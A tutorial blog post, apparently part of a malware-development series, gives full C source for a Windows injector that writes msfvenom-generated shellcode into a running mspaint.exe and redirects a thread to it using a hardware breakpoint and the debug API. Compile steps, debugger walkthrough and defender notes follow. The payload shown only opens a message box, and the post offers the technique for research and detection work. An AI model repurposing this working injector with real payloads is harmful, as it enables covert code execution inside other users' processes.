Malware development trick 70: Hardware breakpoint process injection. Simple C example
﷽
Hello, cybersecurity enthusiasts and white hackers!

In the previous trick 69, we loaded a COFF object and observed how its sections and imports become executable code. Today I want to demonstrate a different malware development for Windows mechanism: use a hardware execution breakpoint to redirect a thread in a running mspaint.exe process to our Meow-meow! shellcode payload.
This trick uses the Windows debugging API. The injector attaches to the selected Paint process, places the payload in a private memory region, and uses a hardware breakpoint plus a thread-context update to transfer control. It does not overwrite Paint’s image code. The payload displays a message box and exits the thread after the dialog closes.
a few words before we start
In trick 63, I changed PE version metadata and an icon. This post covers a separate execution technique: a hardware breakpoint in a target thread.
A hardware breakpoint is configured in the thread’s debug registers. On x64, DR0 stores the watched instruction address and DR7 enables the breakpoint. When the thread reaches that address, Windows reports a single-step exception. Because our injector is attached as a debugger, it receives the debug event and can inspect or change the stopped thread’s context.
The steps are:
- open the running
mspaint.exeprocess and allocate memory for the payload. - copy the shellcode into a writable page, then change it to execute/read.
- attach with
DebugActiveProcessand wait for the initial breakpoint. - set
DR0to the stopped thread’s current instruction and enable the local execution breakpoint inDR7. - when the single-step event arrives, redirect
RIPto the payload and clear the breakpoint.
The relevant Windows APIs are documented in DebugActiveProcess, WaitForDebugEvent, SetThreadContext, and ContinueDebugEvent. The program also disables the default kill-on-debugger-exit behavior so an unexpected injector exit does not intentionally terminate Paint; see DebugSetProcessKillOnExit.
practical example
First, I use a MessageBox payload generated for x64 Windows. The EXITFUNC=thread option makes the payload exit the thread that runs it after the user closes the dialog:
msfvenom -p windows/x64/messagebox TEXT='Meow-meow!' TITLE='=^..^=' EXITFUNC=thread -f c

The resulting bytes are embedded in the complete source below. The payload does not start a shell or child process, open a network connection, or create persistence.
Before setting a breakpoint, the injector allocates memory in the target process and writes the payload. The page changes from writable to execute/read:
remote_payload = VirtualAllocEx(process, NULL, payload_size,
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(process, remote_payload, payload, payload_size,
&bytes_written);
VirtualProtectEx(process, remote_payload, payload_size,
PAGE_EXECUTE_READ, &old_protection);
FlushInstructionCache(process, remote_payload, payload_size);
The program checks the target image name and rejects a non-x64 process before doing this. The target is selected by PID so I can start Paint normally and choose the exact process shown in Task Manager or Process Hacker 2.
When the debugger reports the initial breakpoint, the target thread is stopped. We save its original DR0 and DR7, set DR0 to the current RIP, and enable the local execute breakpoint:
breakpoint_address = context.Rip;
saved_dr0 = context.Dr0;
saved_dr7 = context.Dr7;
context.Dr0 = breakpoint_address;
context.Dr6 &= ~((DWORD64)1);
context.Dr7 &= ~((DWORD64)0x3 | ((DWORD64)0xF << 16));
context.Dr7 |= 1;
SetThreadContext(thread, &context);
The bit in DR7 enables a local breakpoint for DR0; clearing the associated type and length bits selects an instruction-execution breakpoint. The thread resumes. When the CPU reports EXCEPTION_SINGLE_STEP, the injector verifies both the DR6 status bit and the expected instruction address.
At that event, the code restores the previous breakpoint settings and changes RIP to the remote payload:
if ((context.Dr6 & 1) && context.Rip == breakpoint_address) {
context.Dr0 = saved_dr0;
context.Dr6 &= ~((DWORD64)1);
context.Dr7 = saved_dr7;
context.Rip = (DWORD64)(ULONG_PTR)remote_payload;
SetThreadContext(thread, &context);
}
The debugger then continues the event. Windows resumes the target thread at the payload address, and the shellcode displays the dialog from inside mspaint.exe. After the dialog closes, the payload exits that thread.
Whether Paint remains open depends on which thread receives the attach breakpoint and on the Paint build. For this demo, the proof is that the Meow-meow! dialog runs in the target process; the payload intentionally ends its thread afterward.
Now the complete source code looks like this (hack.c):
/*
* hack.c - hardware-breakpoint shellcode injection
* trick for mspaint.exe
* author: @cocomelonc
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <wchar.h>
#ifndef _WIN64
#error Build this example for Windows x64.
#endif
static const unsigned char payload[] = {
0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xcc, 0x00, 0x00,
0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x48, 0x31, 0xd2, 0x56, 0x65,
0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20,
0x41, 0xb9, 0x7a, 0xb1, 0x98, 0xf6, 0x48, 0x0f, 0xb7, 0x4a, 0x48, 0x48,
0x8b, 0x72, 0x50, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c,
0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41,
0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x66,
0x81, 0x78, 0x18, 0x0b, 0x02, 0x0f, 0x85, 0x6f, 0x00, 0x00, 0x00, 0x8b,
0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x64, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0,
0xe3, 0x53, 0x44, 0x8b, 0x4c, 0x24, 0x08, 0x48, 0xff, 0xc9, 0x41, 0x8b,
0x34, 0x88, 0x48, 0x01, 0xd6, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9,
0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x45, 0x39, 0xd1, 0x75,
0xdb, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b,
0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41,
0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff,
0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x4b, 0xff, 0xff,
0xff, 0x5d, 0xe8, 0x0b, 0x00, 0x00, 0x00, 0x75, 0x73, 0x65, 0x72, 0x33,
0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00, 0x59, 0x41, 0xba, 0x8e, 0xde, 0x78,
0x1d, 0xff, 0xd5, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00, 0x00, 0xe8, 0x0b,
0x00, 0x00, 0x00, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
0x21, 0x00, 0x5a, 0xe8, 0x07, 0x00, 0x00, 0x00, 0x3d, 0x5e, 0x2e, 0x2e,
0x5e, 0x3d, 0x00, 0x41, 0x58, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x1e, 0xbc,
0x62, 0x48, 0xff, 0xd5, 0xbb, 0xfe, 0x0c, 0x1f, 0xe6, 0x41, 0xba, 0xc4,
0x84, 0xb2, 0x79, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c,
0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0xfb, 0xe9, 0x3e, 0xd3, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5,
};
int main(int argc, char **argv) {
char *end = NULL;
unsigned long value;
DWORD pid;
HANDLE process = NULL;
LPVOID remote_payload = NULL;
SIZE_T payload_size = sizeof(payload);
SIZE_T bytes_written = 0;
DWORD old_protection = 0;
WCHAR image_path[MAX_PATH];
DWORD image_path_size = MAX_PATH;
BOOL wow64 = FALSE;
BOOL attached = FALSE;
BOOL armed = FALSE;
BOOL redirected = FALSE;
BOOL stop = FALSE;
BOOL success = FALSE;
DWORD breakpoint_thread_id = 0;
DWORD64 breakpoint_address = 0;
DWORD64 saved_dr0 = 0;
DWORD64 saved_dr7 = 0;
if (argc != 2) {
fprintf(stderr, "usage: %s <mspaint-pid>\n", argv[0]);
return 1;
}
value = strtoul(argv[1], &end, 10);
if (!argv[1][0] || !end || *end || value == 0 || value > MAXDWORD) {
fprintf(stderr, "invalid PID\n");
return 1;
}
pid = (DWORD)value;
process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_QUERY_LIMITED_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, pid);
if (!process) {
printf("OpenProcess failed: %lu\n", GetLastError());
return 1;
}
if (!QueryFullProcessImageNameW(process, 0, image_path, &image_path_size)) {
printf("QueryFullProcessImageNameW failed: %lu\n", GetLastError());
CloseHandle(process);
return 1;
}
WCHAR *base_name = wcsrchr(image_path, L'\\');
base_name = base_name ? base_name + 1 : image_path;
if (_wcsicmp(base_name, L"mspaint.exe") != 0) {
wprintf(L"refusing target: %ls\n", image_path);
CloseHandle(process);
return 1;
}
if (!IsWow64Process(process, &wow64) || wow64) {
printf("target must be a native x64 process\n");
CloseHandle(process);
return 1;
}
remote_payload = VirtualAllocEx(process, NULL, payload_size,
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!remote_payload) {
printf("VirtualAllocEx failed: %lu\n", GetLastError());
CloseHandle(process);
return 1;
}
if (!WriteProcessMemory(process, remote_payload, payload, payload_size,
&bytes_written) || bytes_written != payload_size) {
printf("WriteProcessMemory failed: %lu\n", GetLastError());
VirtualFreeEx(process, remote_payload, 0, MEM_RELEASE);
CloseHandle(process);
return 1;
}
if (!VirtualProtectEx(process, remote_payload, payload_size,
PAGE_EXECUTE_READ, &old_protection)) {
printf("VirtualProtectEx failed: %lu\n", GetLastError());
VirtualFreeEx(process, remote_payload, 0, MEM_RELEASE);
CloseHandle(process);
return 1;
}
if (!FlushInstructionCache(process, remote_payload, payload_size)) {
printf("FlushInstructionCache failed: %lu\n", GetLastError());
VirtualFreeEx(process, remote_payload, 0, MEM_RELEASE);
CloseHandle(process);
return 1;
}
if (!DebugActiveProcess(pid)) {
printf("DebugActiveProcess failed: %lu\n", GetLastError());
VirtualFreeEx(process, remote_payload, 0, MEM_RELEASE);
CloseHandle(process);
return 1;
}
attached = TRUE;
if (!DebugSetProcessKillOnExit(FALSE)) {
printf("DebugSetProcessKillOnExit failed: %lu\n", GetLastError());
DebugActiveProcessStop(pid);
VirtualFreeEx(process, remote_payload, 0, MEM_RELEASE);
CloseHandle(process);
return 1;
}
wprintf(L"[main] attached to %ls (PID %lu)\n", image_path, pid);
puts("[main] waiting for the attach breakpoint");
while (!stop) {
DEBUG_EVENT event;
DWORD continuation = DBG_CONTINUE;
if (!WaitForDebugEvent(&event, INFINITE)) {
printf("WaitForDebugEvent failed: %lu\n", GetLastError());
break;
}
switch (event.dwDebugEventCode) {
case CREATE_PROCESS_DEBUG_EVENT:
if (event.u.CreateProcessInfo.hFile)
CloseHandle(event.u.CreateProcessInfo.hFile);
if (event.u.CreateProcessInfo.hThread)
CloseHandle(event.u.CreateProcessInfo.hThread);
if (event.u.CreateProcessInfo.hProcess)
CloseHandle(event.u.CreateProcessInfo.hProcess);
break;
case CREATE_THREAD_DEBUG_EVENT:
if (event.u.CreateThread.hThread)
CloseHandle(event.u.CreateThread.hThread);
break;
case LOAD_DLL_DEBUG_EVENT:
if (event.u.LoadDll.hFile)
CloseHandle(event.u.LoadDll.hFile);
break;
case EXCEPTION_DEBUG_EVENT: {
DWORD code = event.u.Exception.ExceptionRecord.ExceptionCode;
HANDLE thread = OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT |
THREAD_QUERY_INFORMATION, FALSE,
event.dwThreadId);
if (code == EXCEPTION_BREAKPOINT && !armed) {
CONTEXT context;
if (!thread) {
printf("OpenThread failed: %lu\n", GetLastError());
stop = TRUE;
} else {
ZeroMemory(&context, sizeof(context));
context.ContextFlags = CONTEXT_CONTROL | CONTEXT_DEBUG_REGISTERS;
if (!GetThreadContext(thread, &context)) {
printf("GetThreadContext failed: %lu\n", GetLastError());
stop = TRUE;
} else {
breakpoint_thread_id = event.dwThreadId;
breakpoint_address = context.Rip;
saved_dr0 = context.Dr0;
saved_dr7 = context.Dr7;
context.Dr0 = breakpoint_address;
context.Dr6 &= ~((DWORD64)1);
context.Dr7 &= ~((DWORD64)0x3 | ((DWORD64)0xF << 16));
context.Dr7 |= 1;
if (!SetThreadContext(thread, &context)) {
printf("SetThreadContext failed: %lu\n", GetLastError());
stop = TRUE;
} else {
armed = TRUE;
printf("[main] DR0 armed at 0x%llx on TID %lu\n",
(unsigned long long)breakpoint_address,
breakpoint_thread_id);
}
}
}
continuation = DBG_CONTINUE;
} else if (code == EXCEPTION_SINGLE_STEP && armed && !redirected &&
event.dwThreadId == breakpoint_thread_id) {
CONTEXT context;
if (!thread) {
printf("OpenThread failed: %lu\n", GetLastError());
stop = TRUE;
continuation = DBG_EXCEPTION_NOT_HANDLED;
} else {
ZeroMemory(&context, sizeof(context));
context.ContextFlags = CONTEXT_CONTROL | CONTEXT_DEBUG_REGISTERS;
if (!GetThreadContext(thread, &context)) {
printf("GetThreadContext failed: %lu\n", GetLastError());
stop = TRUE;
continuation = DBG_EXCEPTION_NOT_HANDLED;
} else if ((context.Dr6 & 1) && context.Rip == breakpoint_address) {
context.Dr0 = saved_dr0;
context.Dr6 &= ~((DWORD64)1);
context.Dr7 = saved_dr7;
context.Rip = (DWORD64)(ULONG_PTR)remote_payload;
if (!SetThreadContext(thread, &context)) {
printf("SetThreadContext failed: %lu\n", GetLastError());
stop = TRUE;
continuation = DBG_EXCEPTION_NOT_HANDLED;
} else {
redirected = TRUE;
puts("[main] hardware breakpoint hit; redirected RIP to the payload");
continuation = DBG_CONTINUE;
}
} else {
continuation = DBG_EXCEPTION_NOT_HANDLED;
}
}
} else if (code == EXCEPTION_BREAKPOINT) {
continuation = DBG_CONTINUE;
} else {
continuation = DBG_EXCEPTION_NOT_HANDLED;
}
if (thread)
CloseHandle(thread);
break;
}
case EXIT_THREAD_DEBUG_EVENT:
if (redirected && event.dwThreadId == breakpoint_thread_id) {
puts("[main] payload thread exited after the Meow-meow dialog");
success = TRUE;
stop = TRUE;
}
break;
case EXIT_PROCESS_DEBUG_EVENT:
if (redirected) success = TRUE;
printf("[main] target process exited with code %lu\n",
event.u.ExitProcess.dwExitCode);
stop = TRUE;
break;
default:
break;
}
if (!ContinueDebugEvent(event.dwProcessId, event.dwThreadId, continuation)) {
printf("ContinueDebugEvent failed: %lu\n", GetLastError());
break;
}
}
if (attached)
DebugActiveProcessStop(pid);
if (remote_payload && (!redirected || success))
VirtualFreeEx(process, remote_payload, 0, MEM_RELEASE);
CloseHandle(process);
return success ? 0 : 1;
}
demo
First of all, compile our injector PoC from an x64 MinGW-w64 environment:
x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

On the “victim’s” VM machine, start Paint (mspaint.exe) normally. So, in Process Hacker 2, note the PID for the actual mspaint.exe process.


Run it with the Paint PID:
.\hack.exe 8980
The expected sequence in the injector console is:

Let’s check memory of our mspaint.exe via Process Hackers 2:



This build is x64-only and refuses a target whose image name is not mspaint.exe. The injector needs permission to debug that process; if Windows denies the attach, run it with the same account and elevation level as Paint. On Windows versions where Paint is packaged, select the real running mspaint.exe PID in Process Hacker 2 rather than assuming the System32 app-launch alias is the process that owns the window.
Let’s check via x64dbg debugger.
To capture the context change, start hack.exe in x64dbg with the PID of the already running x64 Paint process (replace 8980 with its current PID):

init "Z:\hack.exe", "7016", "Z:\"

At the initial system breakpoint, set the API breakpoint on the resolved SetThreadContext implementation (usually KERNELBASE.SetThreadContext):
bp KERNELBASE.SetThreadContext

Press F9. It should trigger twice. At each hit, RDX points to the injector’s local CONTEXT structure.

To show the fields as values, enter these commands at the first hit:
mov xctx, rdx
AddWatch "qword:[xctx+48]"
AddWatch "qword:[xctx+F8]"
AddWatch "qword:[xctx+70]&1"




The three watches show Dr0, Rip, and Dr7 & 1 respectively; on x64 their offsets are 0x48, 0xF8, and 0x70. Dr0 and Rip should display the same address, and Dr7 & 1 should display 1.
At the second hit, enter mov xctx, rdx again to point the watches at the new CONTEXT. Its Rip is an address in Paint, so do not try to dereference it in the injector’s Dump view.
At the first hit, capture Dr0 matching Rip and bit 0 set in Dr7. Resume to the second hit and capture the new Rip, which is the remote payload address, together with the restored Dr0 and Dr7. Continue execution; the Meow-meow! dialog in the demo above confirms the visible result.





Update (replace mspaint.exe to explorer.exe) and upload this compiled sample to ANY.RUN sandbox:






https://app.any.run/tasks/35f88638-9458-423f-80ef-901897e7f55e
Verdict: suspicious activity.
blue-team notes
This is not an invisible execution path. The injector attaches as a debugger, writes bytes into another process, changes a private page from writable to executable, modifies a thread’s debug registers, and changes its instruction pointer. Those actions provide useful behavioral evidence even though the payload itself only opens a message box.
The hardware breakpoint avoids overwriting instructions in Paint’s image mapping. It does not avoid remote memory allocation or the context change, and it does not make a private executable page benign. A debugger attachment or an executable private page alone is not a malware verdict; correlate the process relationship, memory operations, thread context, payload contents, and user activity.
This trick demonstrates the control-flow mechanism in a real Windows process, not a stealth guarantee or a general-purpose injection framework.
Related hardware-breakpoint behavior has also been documented in Turla’s Kazuar v3 loader: the technical analysis describes DR0/DR1 breakpoints on NtTraceControl and AmsiScanBuffer, handled through an exception handler to interfere with ETW and AMSI. That report describes in-process API interception, not this PoC’s debugger-assisted redirection of a Paint thread into a remote payload; the shared element is the use of CPU debug registers. Technical analysis of Turla’s Kazuar v3 loader.
Elastic’s analysis of the PHANTOMPULSE RAT also describes a related Debug API state machine using a DR0 breakpoint and RIP redirection, with a different multi-stage section-mapping flow (report).
conclusion
This PoC shows how a hardware execution breakpoint can redirect a stopped thread into a private payload without patching Paint’s image code. Turla’s reported Kazuar v3 loader uses the same processor feature for a different purpose, so defenders should correlate debug-register changes with thread-context updates and executable private memory.
I hope this post is useful for malware researchers, C programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

Thanks to ANY.RUN for API!
Microsoft: PE format
DebugActiveProcess
DebugSetProcessKillOnExit
WaitForDebugEvent
Turla’s Kazuar v3 loader
PHANTOMPULSE
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine